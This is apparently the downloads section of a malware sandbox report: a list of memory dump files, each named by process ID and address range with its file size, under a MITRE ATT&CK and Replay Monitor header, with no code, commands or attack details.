
                                                          MITRE ATT&CK Enterprise v6

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • memory/320-178-0x0000000003190000-0x0000000005942000-memory.dmp

                                                            Filesize

                                                            39.7MB

                                                          • memory/320-184-0x0000000000400000-0x0000000002BB2000-memory.dmp

                                                            Filesize

                                                            39.7MB

                                                          • memory/332-363-0x0000000004540000-0x000000000465B000-memory.dmp

                                                            Filesize

                                                            1.1MB

                                                          • memory/632-140-0x0000000000400000-0x000000000046D000-memory.dmp

                                                            Filesize

                                                            436KB

                                                          • memory/1240-186-0x0000000002F00000-0x0000000002F15000-memory.dmp

                                                            Filesize

                                                            84KB

                                                          • memory/1468-177-0x0000000000400000-0x0000000002B61000-memory.dmp

                                                            Filesize

                                                            39.4MB

                                                          • memory/1468-176-0x0000000000240000-0x0000000000288000-memory.dmp

                                                            Filesize

                                                            288KB

                                                          • memory/1572-268-0x0000000000400000-0x0000000000416000-memory.dmp

                                                            Filesize

                                                            88KB

                                                          • memory/1576-266-0x0000000000270000-0x0000000000271000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1604-362-0x0000000006E43000-0x0000000006E44000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1604-355-0x0000000000400000-0x0000000002B6C000-memory.dmp

                                                            Filesize

                                                            39.4MB

                                                          • memory/1604-361-0x0000000006E42000-0x0000000006E43000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1604-360-0x0000000006E41000-0x0000000006E42000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1604-354-0x0000000000240000-0x0000000000270000-memory.dmp

                                                            Filesize

                                                            192KB

                                                          • memory/1696-191-0x0000000000900000-0x0000000000902000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1696-189-0x0000000000250000-0x0000000000265000-memory.dmp

                                                            Filesize

                                                            84KB

                                                          • memory/1696-182-0x0000000000B70000-0x0000000000B71000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1812-255-0x0000000000400000-0x0000000000414000-memory.dmp

                                                            Filesize

                                                            80KB

                                                          • memory/1820-82-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                            Filesize

                                                            572KB

                                                          • memory/1820-89-0x0000000064940000-0x0000000064959000-memory.dmp

                                                            Filesize

                                                            100KB

                                                          • memory/1820-87-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                            Filesize

                                                            152KB

                                                          • memory/1820-86-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                            Filesize

                                                            1.5MB

                                                          • memory/1820-88-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                            Filesize

                                                            152KB

                                                          • memory/1820-84-0x0000000064940000-0x0000000064959000-memory.dmp

                                                            Filesize

                                                            100KB

                                                          • memory/1820-85-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                            Filesize

                                                            1.5MB

                                                          • memory/1820-92-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                            Filesize

                                                            572KB

                                                          • memory/1820-90-0x0000000064940000-0x0000000064959000-memory.dmp

                                                            Filesize

                                                            100KB

                                                          • memory/1820-83-0x0000000064940000-0x0000000064959000-memory.dmp

                                                            Filesize

                                                            100KB

                                                          • memory/1840-179-0x0000000000400000-0x0000000002B48000-memory.dmp

                                                            Filesize

                                                            39.3MB

                                                          • memory/1840-175-0x00000000002C0000-0x00000000002C9000-memory.dmp

                                                            Filesize

                                                            36KB

                                                          • memory/1876-185-0x0000000001FE0000-0x0000000002C2A000-memory.dmp

                                                            Filesize

                                                            12.3MB

                                                          • memory/1972-174-0x0000000000260000-0x0000000000261000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1980-180-0x0000000000C20000-0x0000000000C21000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1980-190-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1992-53-0x0000000076A81000-0x0000000076A83000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2020-352-0x0000000001DA0000-0x0000000001DA1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2072-308-0x000000001B000000-0x000000001B002000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2104-333-0x0000000000B05000-0x0000000000B06000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2104-325-0x0000000000AE6000-0x0000000000B05000-memory.dmp

                                                            Filesize

                                                            124KB

                                                          • memory/2104-278-0x0000000000AE0000-0x0000000000AE2000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2204-342-0x0000000003170000-0x00000000058DE000-memory.dmp

                                                            Filesize

                                                            39.4MB

                                                          • memory/2204-346-0x0000000003170000-0x00000000058DE000-memory.dmp

                                                            Filesize

                                                            39.4MB

                                                          • memory/2204-345-0x0000000003170000-0x00000000058DE000-memory.dmp

                                                            Filesize

                                                            39.4MB

                                                          • memory/2204-343-0x0000000003170000-0x00000000058DE000-memory.dmp

                                                            Filesize

                                                            39.4MB

                                                          • memory/2204-335-0x0000000000400000-0x0000000002B6E000-memory.dmp

                                                            Filesize

                                                            39.4MB

                                                          • memory/2204-334-0x0000000000250000-0x0000000000280000-memory.dmp

                                                            Filesize

                                                            192KB

                                                          • memory/2212-241-0x0000000000400000-0x0000000000414000-memory.dmp

                                                            Filesize

                                                            80KB

                                                          • memory/2264-307-0x00000000052A0000-0x00000000052A1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2268-338-0x000000001C970000-0x000000001C972000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2288-188-0x0000000001F00000-0x0000000001F02000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2288-213-0x000000001C7B0000-0x000000001CAAF000-memory.dmp

                                                            Filesize

                                                            3.0MB

                                                          • memory/2420-254-0x00000000008C0000-0x00000000008C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2420-282-0x0000000004E40000-0x0000000004E41000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2492-252-0x0000000000260000-0x0000000000261000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2552-320-0x0000000000180000-0x0000000000181000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2552-351-0x0000000003180000-0x0000000003237000-memory.dmp

                                                            Filesize

                                                            732KB

                                                          • memory/2552-350-0x0000000003030000-0x000000000317C000-memory.dmp

                                                            Filesize

                                                            1.3MB

                                                          • memory/2604-202-0x00000000008B0000-0x00000000008B1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2652-326-0x0000000002026000-0x0000000002045000-memory.dmp

                                                            Filesize

                                                            124KB

                                                          • memory/2652-305-0x0000000002020000-0x0000000002022000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2668-281-0x0000000001F40000-0x0000000001F42000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2680-357-0x0000000140000000-0x0000000140763000-memory.dmp

                                                            Filesize

                                                            7.4MB

                                                          • memory/2724-277-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2748-274-0x0000000000260000-0x0000000000261000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2804-240-0x00000000003C0000-0x00000000003C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2840-215-0x00000000001D0000-0x0000000000200000-memory.dmp

                                                            Filesize

                                                            192KB

                                                          • memory/2840-212-0x00000000001C0000-0x00000000001C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2840-227-0x000000001B000000-0x000000001B002000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2840-208-0x0000000000E20000-0x0000000000E21000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2840-220-0x0000000000200000-0x0000000000201000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2852-322-0x000000001ADB0000-0x000000001ADB2000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2852-209-0x000000013F990000-0x000000013F991000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2932-217-0x0000000000A10000-0x0000000000A11000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2932-349-0x000000001BC10000-0x000000001BC12000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2932-226-0x000000001ACA0000-0x000000001ACA2000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2932-222-0x0000000000240000-0x0000000000255000-memory.dmp

                                                            Filesize

                                                            84KB

                                                          • memory/2960-228-0x0000000003020000-0x00000000057D2000-memory.dmp

                                                            Filesize

                                                            39.7MB

                                                          • memory/2960-229-0x0000000000400000-0x0000000002BB2000-memory.dmp

                                                            Filesize

                                                            39.7MB

                                                          • memory/3000-225-0x000000001AF90000-0x000000001AF92000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/3000-223-0x00000000010F0000-0x00000000010F1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/3044-267-0x00000000002C0000-0x00000000002EF000-memory.dmp

                                                            Filesize

                                                            188KB

                                                          • memory/3044-273-0x0000000000400000-0x0000000002B53000-memory.dmp

                                                            Filesize

                                                            39.3MB